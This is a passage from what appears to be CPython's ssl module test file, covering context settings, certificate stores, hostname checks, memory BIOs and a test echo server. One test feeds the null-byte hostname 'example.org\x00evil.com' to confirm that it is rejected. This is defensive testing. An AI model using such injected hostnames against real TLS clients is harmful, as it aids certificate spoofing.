ctx.load_dh_params(NONEXISTINGCERT) self.assertEqual(cm.exception.errno, errno.ENOENT) with self.assertRaises(ssl.SSLError) as cm: ctx.load_dh_params(CERTFILE) def test_session_stats(self): for proto in PROTOCOLS: ctx = ssl.SSLContext(proto) self.assertEqual(ctx.session_stats(), { 'number': 0, 'connect': 0, 'connect_good': 0, 'connect_renegotiate': 0, 'accept': 0, 'accept_good': 0, 'accept_renegotiate': 0, 'hits': 0, 'misses': 0, 'timeouts': 0, 'cache_full': 0, }) def test_set_default_verify_paths(self): # There's not much we can do to test that it acts as expected, # so just check it doesn't crash or raise an exception. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.set_default_verify_paths() @unittest.skipUnless(ssl.HAS_ECDH, "ECDH disabled on this OpenSSL build") def test_set_ecdh_curve(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.set_ecdh_curve("prime256v1") ctx.set_ecdh_curve(b"prime256v1") self.assertRaises(TypeError, ctx.set_ecdh_curve) self.assertRaises(TypeError, ctx.set_ecdh_curve, None) self.assertRaises(ValueError, ctx.set_ecdh_curve, "foo") self.assertRaises(ValueError, ctx.set_ecdh_curve, b"foo") @needs_sni def test_sni_callback(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # set_servername_callback expects a callable, or None self.assertRaises(TypeError, ctx.set_servername_callback) self.assertRaises(TypeError, ctx.set_servername_callback, 4) self.assertRaises(TypeError, ctx.set_servername_callback, "") self.assertRaises(TypeError, ctx.set_servername_callback, ctx) def dummycallback(sock, servername, ctx): pass ctx.set_servername_callback(None) ctx.set_servername_callback(dummycallback) @needs_sni def test_sni_callback_refcycle(self): # Reference cycles through the servername callback are detected # and cleared. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) def dummycallback(sock, servername, ctx, cycle=ctx): pass ctx.set_servername_callback(dummycallback) wr = weakref.ref(ctx) del ctx, dummycallback gc.collect() self.assertIs(wr(), None) def test_cert_store_stats(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.cert_store_stats(), {'x509_ca': 0, 'crl': 0, 'x509': 0}) ctx.load_cert_chain(CERTFILE) self.assertEqual(ctx.cert_store_stats(), {'x509_ca': 0, 'crl': 0, 'x509': 0}) ctx.load_verify_locations(CERTFILE) self.assertEqual(ctx.cert_store_stats(), {'x509_ca': 0, 'crl': 0, 'x509': 1}) ctx.load_verify_locations(CAFILE_CACERT) self.assertEqual(ctx.cert_store_stats(), {'x509_ca': 1, 'crl': 0, 'x509': 2}) def test_get_ca_certs(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.get_ca_certs(), []) # CERTFILE is not flagged as X509v3 Basic Constraints: CA:TRUE ctx.load_verify_locations(CERTFILE) self.assertEqual(ctx.get_ca_certs(), []) # but CAFILE_CACERT is a CA cert ctx.load_verify_locations(CAFILE_CACERT) self.assertEqual(ctx.get_ca_certs(), [{'issuer': ((('organizationName', 'Root CA'),), (('organizationalUnitName', 'http://www.cacert.org'),), (('commonName', 'CA Cert Signing Authority'),), (('emailAddress', 'support@cacert.org'),)), 'notAfter': asn1time('Mar 29 12:29:49 2033 GMT'), 'notBefore': asn1time('Mar 30 12:29:49 2003 GMT'), 'serialNumber': '00', 'crlDistributionPoints': ('https://www.cacert.org/revoke.crl',), 'subject': ((('organizationName', 'Root CA'),), (('organizationalUnitName', 'http://www.cacert.org'),), (('commonName', 'CA Cert Signing Authority'),), (('emailAddress', 'support@cacert.org'),)), 'version': 3}]) with open(CAFILE_CACERT) as f: pem = f.read() der = ssl.PEM_cert_to_DER_cert(pem) self.assertEqual(ctx.get_ca_certs(True), [der]) def test_load_default_certs(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_default_certs() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_default_certs(ssl.Purpose.SERVER_AUTH) ctx.load_default_certs() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_default_certs(ssl.Purpose.CLIENT_AUTH) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertRaises(TypeError, ctx.load_default_certs, None) self.assertRaises(TypeError, ctx.load_default_certs, 'SERVER_AUTH') @unittest.skipIf(sys.platform == "win32", "not-Windows specific") @unittest.skipIf(IS_LIBRESSL, "LibreSSL doesn't support env vars") def test_load_default_certs_env(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) with support.EnvironmentVarGuard() as env: env["SSL_CERT_DIR"] = CAPATH env["SSL_CERT_FILE"] = CERTFILE ctx.load_default_certs() self.assertEqual(ctx.cert_store_stats(), {"crl": 0, "x509": 1, "x509_ca": 0}) @unittest.skipUnless(sys.platform == "win32", "Windows specific") @unittest.skipIf(hasattr(sys, "gettotalrefcount"), "Debug build does not share environment between CRTs") def test_load_default_certs_env_windows(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_default_certs() stats = ctx.cert_store_stats() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) with support.EnvironmentVarGuard() as env: env["SSL_CERT_DIR"] = CAPATH env["SSL_CERT_FILE"] = CERTFILE ctx.load_default_certs() stats["x509"] += 1 self.assertEqual(ctx.cert_store_stats(), stats) def _assert_context_options(self, ctx): self.assertEqual(ctx.options & ssl.OP_NO_SSLv2, ssl.OP_NO_SSLv2) if OP_NO_COMPRESSION != 0: self.assertEqual(ctx.options & OP_NO_COMPRESSION, OP_NO_COMPRESSION) if OP_SINGLE_DH_USE != 0: self.assertEqual(ctx.options & OP_SINGLE_DH_USE, OP_SINGLE_DH_USE) if OP_SINGLE_ECDH_USE != 0: self.assertEqual(ctx.options & OP_SINGLE_ECDH_USE, OP_SINGLE_ECDH_USE) if OP_CIPHER_SERVER_PREFERENCE != 0: self.assertEqual(ctx.options & OP_CIPHER_SERVER_PREFERENCE, OP_CIPHER_SERVER_PREFERENCE) def test_create_default_context(self): ctx = ssl.create_default_context() self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertTrue(ctx.check_hostname) self._assert_context_options(ctx) with open(SIGNING_CA) as f: cadata = f.read() ctx = ssl.create_default_context(cafile=SIGNING_CA, capath=CAPATH, cadata=cadata) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self._assert_context_options(ctx) ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self._assert_context_options(ctx) def test__create_stdlib_context(self): ctx = ssl._create_stdlib_context() self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self.assertFalse(ctx.check_hostname) self._assert_context_options(ctx) ctx = ssl._create_stdlib_context(ssl.PROTOCOL_TLSv1) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLSv1) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self._assert_context_options(ctx) ctx = ssl._create_stdlib_context(ssl.PROTOCOL_TLSv1, cert_reqs=ssl.CERT_REQUIRED, check_hostname=True) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLSv1) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) self.assertTrue(ctx.check_hostname) self._assert_context_options(ctx) ctx = ssl._create_stdlib_context(purpose=ssl.Purpose.CLIENT_AUTH) self.assertEqual(ctx.protocol, ssl.PROTOCOL_TLS) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) self._assert_context_options(ctx) def test_check_hostname(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) # Auto set CERT_REQUIRED ctx.check_hostname = True self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_REQUIRED self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) # Changing verify_mode does not affect check_hostname ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.check_hostname = False self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) # Auto set ctx.check_hostname = True self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_OPTIONAL ctx.check_hostname = False self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_OPTIONAL) # keep CERT_OPTIONAL ctx.check_hostname = True self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_OPTIONAL) # Cannot set CERT_NONE with check_hostname enabled with self.assertRaises(ValueError): ctx.verify_mode = ssl.CERT_NONE ctx.check_hostname = False self.assertFalse(ctx.check_hostname) ctx.verify_mode = ssl.CERT_NONE self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) def test_context_client_server(self): # PROTOCOL_TLS_CLIENT has sane defaults ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) # PROTOCOL_TLS_SERVER has different but also sane defaults ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) self.assertFalse(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_NONE) def test_context_custom_class(self): class MySSLSocket(ssl.SSLSocket): pass class MySSLObject(ssl.SSLObject): pass ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.sslsocket_class = MySSLSocket ctx.sslobject_class = MySSLObject with ctx.wrap_socket(socket.socket(), server_side=True) as sock: self.assertIsInstance(sock, MySSLSocket) obj = ctx.wrap_bio(ssl.MemoryBIO(), ssl.MemoryBIO()) self.assertIsInstance(obj, MySSLObject) @unittest.skipUnless(IS_OPENSSL_1_1_1, "Test requires OpenSSL 1.1.1") def test_num_tickest(self): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) self.assertEqual(ctx.num_tickets, 2) ctx.num_tickets = 1 self.assertEqual(ctx.num_tickets, 1) ctx.num_tickets = 0 self.assertEqual(ctx.num_tickets, 0) with self.assertRaises(ValueError): ctx.num_tickets = -1 with self.assertRaises(TypeError): ctx.num_tickets = None ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertEqual(ctx.num_tickets, 2) with self.assertRaises(ValueError): ctx.num_tickets = 1 class SSLErrorTests(unittest.TestCase): def test_str(self): # The str() of a SSLError doesn't include the errno e = ssl.SSLError(1, "foo") self.assertEqual(str(e), "foo") self.assertEqual(e.errno, 1) # Same for a subclass e = ssl.SSLZeroReturnError(1, "foo") self.assertEqual(str(e), "foo") self.assertEqual(e.errno, 1) @unittest.skipIf(Py_DEBUG_WIN32, "Avoid mixing debug/release CRT on Windows") def test_lib_reason(self): # Test the library and reason attributes ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) with self.assertRaises(ssl.SSLError) as cm: ctx.load_dh_params(CERTFILE) self.assertEqual(cm.exception.library, 'PEM') self.assertEqual(cm.exception.reason, 'NO_START_LINE') s = str(cm.exception) self.assertTrue(s.startswith("[PEM: NO_START_LINE] no start line"), s) def test_subclass(self): # Check that the appropriate SSLError subclass is raised # (this only tests one of them) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE with socket.create_server(("127.0.0.1", 0)) as s: c = socket.create_connection(s.getsockname()) c.setblocking(False) with ctx.wrap_socket(c, False, do_handshake_on_connect=False) as c: with self.assertRaises(ssl.SSLWantReadError) as cm: c.do_handshake() s = str(cm.exception) self.assertTrue(s.startswith("The operation did not complete (read)"), s) # For compatibility self.assertEqual(cm.exception.errno, ssl.SSL_ERROR_WANT_READ) def test_bad_server_hostname(self): ctx = ssl.create_default_context() with self.assertRaises(ValueError): ctx.wrap_bio(ssl.MemoryBIO(), ssl.MemoryBIO(), server_hostname="") with self.assertRaises(ValueError): ctx.wrap_bio(ssl.MemoryBIO(), ssl.MemoryBIO(), server_hostname=".example.org") with self.assertRaises(TypeError): ctx.wrap_bio(ssl.MemoryBIO(), ssl.MemoryBIO(), server_hostname="example.org\x00evil.com") class MemoryBIOTests(unittest.TestCase): def test_read_write(self): bio = ssl.MemoryBIO() bio.write(b'foo') self.assertEqual(bio.read(), b'foo') self.assertEqual(bio.read(), b'') bio.write(b'foo') bio.write(b'bar') self.assertEqual(bio.read(), b'foobar') self.assertEqual(bio.read(), b'') bio.write(b'baz') self.assertEqual(bio.read(2), b'ba') self.assertEqual(bio.read(1), b'z') self.assertEqual(bio.read(1), b'') def test_eof(self): bio = ssl.MemoryBIO() self.assertFalse(bio.eof) self.assertEqual(bio.read(), b'') self.assertFalse(bio.eof) bio.write(b'foo') self.assertFalse(bio.eof) bio.write_eof() self.assertFalse(bio.eof) self.assertEqual(bio.read(2), b'fo') self.assertFalse(bio.eof) self.assertEqual(bio.read(1), b'o') self.assertTrue(bio.eof) self.assertEqual(bio.read(), b'') self.assertTrue(bio.eof) def test_pending(self): bio = ssl.MemoryBIO() self.assertEqual(bio.pending, 0) bio.write(b'foo') self.assertEqual(bio.pending, 3) for i in range(3): bio.read(1) self.assertEqual(bio.pending, 3-i-1) for i in range(3): bio.write(b'x') self.assertEqual(bio.pending, i+1) bio.read() self.assertEqual(bio.pending, 0) def test_buffer_types(self): bio = ssl.MemoryBIO() bio.write(b'foo') self.assertEqual(bio.read(), b'foo') bio.write(bytearray(b'bar')) self.assertEqual(bio.read(), b'bar') bio.write(memoryview(b'baz')) self.assertEqual(bio.read(), b'baz') def test_error_types(self): bio = ssl.MemoryBIO() self.assertRaises(TypeError, bio.write, 'foo') self.assertRaises(TypeError, bio.write, None) self.assertRaises(TypeError, bio.write, True) self.assertRaises(TypeError, bio.write, 1) class SSLObjectTests(unittest.TestCase): def test_private_init(self): bio = ssl.MemoryBIO() with self.assertRaisesRegex(TypeError, "public constructor"): ssl.SSLObject(bio, bio) def test_unwrap(self): client_ctx, server_ctx, hostname = testing_context() c_in = ssl.MemoryBIO() c_out = ssl.MemoryBIO() s_in = ssl.MemoryBIO() s_out = ssl.MemoryBIO() client = client_ctx.wrap_bio(c_in, c_out, server_hostname=hostname) server = server_ctx.wrap_bio(s_in, s_out, server_side=True) # Loop on the handshake for a bit to get it settled for _ in range(5): try: client.do_handshake() except ssl.SSLWantReadError: pass if c_out.pending: s_in.write(c_out.read()) try: server.do_handshake() except ssl.SSLWantReadError: pass if s_out.pending: c_in.write(s_out.read()) # Now the handshakes should be complete (don't raise WantReadError) client.do_handshake() server.do_handshake() # Now if we unwrap one side unilaterally, it should send close-notify # and raise WantReadError: with self.assertRaises(ssl.SSLWantReadError): client.unwrap() # But server.unwrap() does not raise, because it reads the client's # close-notify: s_in.write(c_out.read()) server.unwrap() # And now that the client gets the server's close-notify, it doesn't # raise either. c_in.write(s_out.read()) client.unwrap() class SimpleBackgroundTests(unittest.TestCase): """Tests that connect to a simple server running in the background""" def setUp(self): server = ThreadedEchoServer(SIGNED_CERTFILE) self.server_addr = (HOST, server.port) server.__enter__() self.addCleanup(server.__exit__, None, None, None) def test_connect(self): with test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_NONE) as s: s.connect(self.server_addr) self.assertEqual({}, s.getpeercert()) self.assertFalse(s.server_side) # this should succeed because we specify the root cert with test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, ca_certs=SIGNING_CA) as s: s.connect(self.server_addr) self.assertTrue(s.getpeercert()) self.assertFalse(s.server_side) def test_connect_fail(self): # This should fail because we have no verification certs. Connection # failure crashes ThreadedEchoServer, so run this in an independent # test method. s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED) self.addCleanup(s.close) self.assertRaisesRegex(ssl.SSLError, "certificate verify failed", s.connect, self.server_addr) def test_connect_ex(self): # Issue #11326: check connect_ex() implementation s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, ca_certs=SIGNING_CA) self.addCleanup(s.close) self.assertEqual(0, s.connect_ex(self.server_addr)) self.assertTrue(s.getpeercert()) def test_non_blocking_connect_ex(self): # Issue #11326: non-blocking connect_ex() should allow handshake # to proceed after the socket gets ready. s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, ca_certs=SIGNING_CA, do_handshake_on_connect=False) self.addCleanup(s.close) s.setblocking(False) rc = s.connect_ex(self.server_addr) # EWOULDBLOCK under Windows, EINPROGRESS elsewhere self.assertIn(rc, (0, errno.EINPROGRESS, errno.EWOULDBLOCK)) # Wait for connect to finish select.select([], [s], [], 5.0) # Non-blocking handshake while True: try: s.do_handshake() break except ssl.SSLWantReadError: select.select([s], [], [], 5.0) except ssl.SSLWantWriteError: select.select([], [s], [], 5.0) # SSL established self.assertTrue(s.getpeercert()) def test_connect_with_context(self): # Same as test_connect, but with a separately created context ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) self.assertEqual({}, s.getpeercert()) # Same with a server hostname with ctx.wrap_socket(socket.socket(socket.AF_INET), server_hostname="dummy") as s: s.connect(self.server_addr) ctx.verify_mode = ssl.CERT_REQUIRED # This should succeed because we specify the root cert ctx.load_verify_locations(SIGNING_CA) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) def test_connect_with_context_fail(self): # This should fail because we have no verification certs. Connection # failure crashes ThreadedEchoServer, so run this in an independent # test method. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED s = ctx.wrap_socket(socket.socket(socket.AF_INET)) self.addCleanup(s.close) self.assertRaisesRegex(ssl.SSLError, "certificate verify failed", s.connect, self.server_addr) def test_connect_capath(self): # Verify server certificates using the `capath` argument # NOTE: the subject hashing algorithm has been changed between # OpenSSL 0.9.8n and 1.0.0, as a result the capath directory must # contain both versions of each certificate (same content, different # filename) for this test to be portable across OpenSSL releases. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(capath=CAPATH) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) # Same with a bytes `capath` argument ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(capath=BYTES_CAPATH) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) def test_connect_cadata(self): with open(SIGNING_CA) as f: pem = f.read() der = ssl.PEM_cert_to_DER_cert(pem) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(cadata=pem) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) # same with DER ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_REQUIRED ctx.load_verify_locations(cadata=der) with ctx.wrap_socket(socket.socket(socket.AF_INET)) as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) @unittest.skipIf(os.name == "nt", "Can't use a socket as a file under Windows") def test_makefile_close(self): # Issue #5238: creating a file-like object with makefile() shouldn't # delay closing the underlying "real socket" (here tested with its # file descriptor, hence skipping the test under Windows). ss = test_wrap_socket(socket.socket(socket.AF_INET)) ss.connect(self.server_addr) fd = ss.fileno() f = ss.makefile() f.close() # The fd is still open os.read(fd, 0) # Closing the SSL socket should close the fd too ss.close() gc.collect() with self.assertRaises(OSError) as e: os.read(fd, 0) self.assertEqual(e.exception.errno, errno.EBADF) def test_non_blocking_handshake(self): s = socket.socket(socket.AF_INET) s.connect(self.server_addr) s.setblocking(False) s = test_wrap_socket(s, cert_reqs=ssl.CERT_NONE, do_handshake_on_connect=False) self.addCleanup(s.close) count = 0 while True: try: count += 1 s.do_handshake() break except ssl.SSLWantReadError: select.select([s], [], []) except ssl.SSLWantWriteError: select.select([], [s], []) if support.verbose: sys.stdout.write("\nNeeded %d calls to do_handshake() to establish session.\n" % count) def test_get_server_certificate(self): _test_get_server_certificate(self, *self.server_addr, cert=SIGNING_CA) def test_get_server_certificate_fail(self): # Connection failure crashes ThreadedEchoServer, so run this in an # independent test method _test_get_server_certificate_fail(self, *self.server_addr) def test_ciphers(self): with test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_NONE, ciphers="ALL") as s: s.connect(self.server_addr) with test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_NONE, ciphers="DEFAULT") as s: s.connect(self.server_addr) # Error checking can happen at instantiation or when connecting with self.assertRaisesRegex(ssl.SSLError, "No cipher can be selected"): with socket.socket(socket.AF_INET) as sock: s = test_wrap_socket(sock, cert_reqs=ssl.CERT_NONE, ciphers="^$:,;?*'dorothyx") s.connect(self.server_addr) def test_get_ca_certs_capath(self): # capath certs are loaded on request ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.load_verify_locations(capath=CAPATH) self.assertEqual(ctx.get_ca_certs(), []) with ctx.wrap_socket(socket.socket(socket.AF_INET), server_hostname='localhost') as s: s.connect(self.server_addr) cert = s.getpeercert() self.assertTrue(cert) self.assertEqual(len(ctx.get_ca_certs()), 1) @needs_sni def test_context_setget(self): # Check that the context of a connected socket can be replaced. ctx1 = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx1.load_verify_locations(capath=CAPATH) ctx2 = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx2.load_verify_locations(capath=CAPATH) s = socket.socket(socket.AF_INET) with ctx1.wrap_socket(s, server_hostname='localhost') as ss: ss.connect(self.server_addr) self.assertIs(ss.context, ctx1) self.assertIs(ss._sslobj.context, ctx1) ss.context = ctx2 self.assertIs(ss.context, ctx2) self.assertIs(ss._sslobj.context, ctx2) def ssl_io_loop(self, sock, incoming, outgoing, func, *args, **kwargs): # A simple IO loop. Call func(*args) depending on the error we get # (WANT_READ or WANT_WRITE) move data between the socket and the BIOs. timeout = kwargs.get('timeout', 10) deadline = time.monotonic() + timeout count = 0 while True: if time.monotonic() > deadline: self.fail("timeout") errno = None count += 1 try: ret = func(*args) except ssl.SSLError as e: if e.errno not in (ssl.SSL_ERROR_WANT_READ, ssl.SSL_ERROR_WANT_WRITE): raise errno = e.errno # Get any data from the outgoing BIO irrespective of any error, and # send it to the socket. buf = outgoing.read() sock.sendall(buf) # If there's no error, we're done. For WANT_READ, we need to get # data from the socket and put it in the incoming BIO. if errno is None: break elif errno == ssl.SSL_ERROR_WANT_READ: buf = sock.recv(32768) if buf: incoming.write(buf) else: incoming.write_eof() if support.verbose: sys.stdout.write("Needed %d calls to complete %s().\n" % (count, func.__name__)) return ret def test_bio_handshake(self): sock = socket.socket(socket.AF_INET) self.addCleanup(sock.close) sock.connect(self.server_addr) incoming = ssl.MemoryBIO() outgoing = ssl.MemoryBIO() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.assertTrue(ctx.check_hostname) self.assertEqual(ctx.verify_mode, ssl.CERT_REQUIRED) ctx.load_verify_locations(SIGNING_CA) sslobj = ctx.wrap_bio(incoming, outgoing, False, SIGNED_CERTFILE_HOSTNAME) self.assertIs(sslobj._sslobj.owner, sslobj) self.assertIsNone(sslobj.cipher()) self.assertIsNone(sslobj.version()) self.assertIsNotNone(sslobj.shared_ciphers()) self.assertRaises(ValueError, sslobj.getpeercert) if 'tls-unique' in ssl.CHANNEL_BINDING_TYPES: self.assertIsNone(sslobj.get_channel_binding('tls-unique')) self.ssl_io_loop(sock, incoming, outgoing, sslobj.do_handshake) self.assertTrue(sslobj.cipher()) self.assertIsNotNone(sslobj.shared_ciphers()) self.assertIsNotNone(sslobj.version()) self.assertTrue(sslobj.getpeercert()) if 'tls-unique' in ssl.CHANNEL_BINDING_TYPES: self.assertTrue(sslobj.get_channel_binding('tls-unique')) try: self.ssl_io_loop(sock, incoming, outgoing, sslobj.unwrap) except ssl.SSLSyscallError: # If the server shuts down the TCP connection without sending a # secure shutdown message, this is reported as SSL_ERROR_SYSCALL pass self.assertRaises(ssl.SSLError, sslobj.write, b'foo') def test_bio_read_write_data(self): sock = socket.socket(socket.AF_INET) self.addCleanup(sock.close) sock.connect(self.server_addr) incoming = ssl.MemoryBIO() outgoing = ssl.MemoryBIO() ctx = ssl.SSLContext(ssl.PROTOCOL_TLS) ctx.verify_mode = ssl.CERT_NONE sslobj = ctx.wrap_bio(incoming, outgoing, False) self.ssl_io_loop(sock, incoming, outgoing, sslobj.do_handshake) req = b'FOO\n' self.ssl_io_loop(sock, incoming, outgoing, sslobj.write, req) buf = self.ssl_io_loop(sock, incoming, outgoing, sslobj.read, 1024) self.assertEqual(buf, b'foo\n') self.ssl_io_loop(sock, incoming, outgoing, sslobj.unwrap) class NetworkedTests(unittest.TestCase): def test_timeout_connect_ex(self): # Issue #12065: on a timeout, connect_ex() should return the original # errno (mimicking the behaviour of non-SSL sockets). with support.transient_internet(REMOTE_HOST): s = test_wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, do_handshake_on_connect=False) self.addCleanup(s.close) s.settimeout(0.0000001) rc = s.connect_ex((REMOTE_HOST, 443)) if rc == 0: self.skipTest("REMOTE_HOST responded too quickly") self.assertIn(rc, (errno.EAGAIN, errno.EWOULDBLOCK)) @unittest.skipUnless(support.IPV6_ENABLED, 'Needs IPv6') def test_get_server_certificate_ipv6(self): with support.transient_internet('ipv6.google.com'): _test_get_server_certificate(self, 'ipv6.google.com', 443) _test_get_server_certificate_fail(self, 'ipv6.google.com', 443) def _test_get_server_certificate(test, host, port, cert=None): pem = ssl.get_server_certificate((host, port)) if not pem: test.fail("No server certificate on %s:%s!" % (host, port)) pem = ssl.get_server_certificate((host, port), ca_certs=cert) if not pem: test.fail("No server certificate on %s:%s!" % (host, port)) if support.verbose: sys.stdout.write("\nVerified certificate for %s:%s is\n%s\n" % (host, port ,pem)) def _test_get_server_certificate_fail(test, host, port): try: pem = ssl.get_server_certificate((host, port), ca_certs=CERTFILE) except ssl.SSLError as x: #should fail if support.verbose: sys.stdout.write("%s\n" % x) else: test.fail("Got server certificate %s for %s:%s!" % (pem, host, port)) from test.ssl_servers import make_https_server class ThreadedEchoServer(threading.Thread): class ConnectionHandler(threading.Thread): """A mildly complicated class, because we want it to work both with and without the SSL wrapper around the socket connection, so that we can test the STARTTLS functionality.""" def __init__(self, server, connsock, addr): self.server = server self.running = False self.sock = connsock self.addr = addr self.sock.setblocking(True) self.sslconn = None threading.Thread.__init__(self) self.daemon = True def wrap_conn(self): try: self.sslconn = self.server.context.wrap_socket( self.sock, server_side=True) self.server.selected_npn_protocols.append(self.sslconn.selected_npn_protocol()) self.server.selected_alpn_protocols.append(self.sslconn.selected_alpn_protocol()) except (ConnectionResetError, BrokenPipeError, ConnectionAbortedError) as e: # We treat ConnectionResetError as though it were an # SSLError - OpenSSL on Ubuntu abruptly closes the # connection when asked to use an unsupported protocol. # # BrokenPipeError is raised in TLS 1.3 mode, when OpenSSL # tries to send session tickets after handshake. # https://github.com/openssl/openssl/issues/6342 # # ConnectionAbortedError is raised in TLS 1.3 mode, when OpenSSL # tries to send session tickets after handshake when using WinSock. self.server.conn_errors.append(str(e)) if self.server.chatty: handle_error("\n server: bad connection attempt from " + repr(self.addr) + ":\n") self.running = False self.close() return False except (ssl.SSLError, OSError) as e: # OSError may occur with wrong protocols, e.g. both # sides use PROTOCOL_TLS_SERVER. # # XXX Various errors can have happened here, for example # a mismatching protocol version, an invalid certificate, # or a low-level bug. This should be made more discriminating. # # bpo-31323: Store the exception as string to prevent # a reference leak: server -> conn_errors -> exception # -> traceback -> self (ConnectionHandler) -> server self.server.conn_errors.append(str(e)) if self.server.chatty: handle_error("\n server: bad connection attempt from " + repr(self.addr) + ":\n") self.running = False self.server.stop() self.close() return False else: self.server.shared_ciphers.append(self.sslconn.shared_ciphers()) if self.server.context.verify_mode == ssl.CERT_REQUIRED: cert = self.sslconn.getpeercert() if support.verbose and self.server.chatty: sys.stdout.write(" client cert is " + pprint.pformat(cert) + "\n") cert_binary = self.sslconn.getpeercert(True) if support.verbose and self.server.chatty: sys.stdout.write(" cert binary is " + str(len(cert_binary)) + " bytes\n") cipher = self.sslconn.cipher() if support.verbose and self.server.chatty: sys.stdout.write(" server: connection cipher is now " + str(cipher) + "\n") sys.stdout.write(" server: selected protocol is now " + str(self.sslconn.selected_npn_protocol()) + "\n") return True def read(self): if self.sslconn: return self.sslconn.read() else: return self.sock.recv(1024) def write(self, bytes): if self.sslconn: return self.sslconn.write(bytes) else: return self.sock.send(bytes) def close(self): if self.sslconn: self.sslconn.close() else: self.sock.close() def run(self): self.running = True if not self.server.starttls_server: if not self.wrap_conn(): return while self.running: try: msg = self.read() stripped = msg.strip() if not stripped: # eof, so quit this handler self.running = False try: self.sock = self.sslconn.unwrap() except OSError: # 